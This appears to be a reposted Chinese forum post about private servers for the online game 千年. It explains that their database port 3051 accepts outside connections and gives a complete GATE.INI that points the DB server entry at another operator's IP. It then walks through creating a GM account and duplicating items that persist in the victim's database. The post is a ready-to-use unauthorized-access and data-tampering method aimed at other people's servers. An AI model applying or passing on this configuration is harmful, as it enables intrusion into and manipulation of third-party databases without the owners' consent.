復制的文章很多,自己上技術論壇看吧
龍苑
終極魷魚 的 七禧網絡技術論壇
原理:
各INI文件所設置的 XXX.XXX.XXX.XXXIP端口號 3051 3052,如果單從這點大家可能認為,這個配置文件只識別某壹個IP的某個端口,但是這是錯的,實際上這是千年程序上的BUG,而不是我們安全做的不到位的原因,按理說 XXX.XXX.XXX.XXX:3051,是單單針對壹個IP的,事實不是這樣。
我們可以通過修改 GATE。INI來連接對方的服務器
[GATE_SERVER]
LOCALIP=127.0.0.1
LOCALPORT=3054
LIMITUSERCOUNT=1000
CHECKPAIDINFO=FALSE
BALANCEIP=127.0.0.1
BALANCEPORT=3030
SERVERNAME=人間
BUFFERSIZES2S=1048576
BUFFERSIZES2C=8192
[GAME_SERVER]
REMOTEIP=127.0.0.1
REMOTEPORT=3052
[DB_SERVER]
REMOTEIP=對方IP地址
REMOTEPORT=3051
[LOGIN_SERVER]
REMOTEIP=127.0.0.1
REMOTEPORT=3050
[PAID_SERVER]
REMOTEIP=127.0.0.1
REMOTEPORT=80
這樣設置的話,如果對方的3051端口開放,妳的GATE的DB燈就會亮,也就是說已經連接到目標機的DB數據庫,這樣的話,妳只需要在妳的TGS裏設置壹個GM管理員,例如ABCD,只要妳在對方的千年裏申請壹個ABCD角色名,然後通過本地服務端進入遊戲,就可以刷裝備了,刷裝備的數據會保留在目標機的數據庫裏,等妳直接登陸對方千年的時候,妳所刷的裝備就會出現。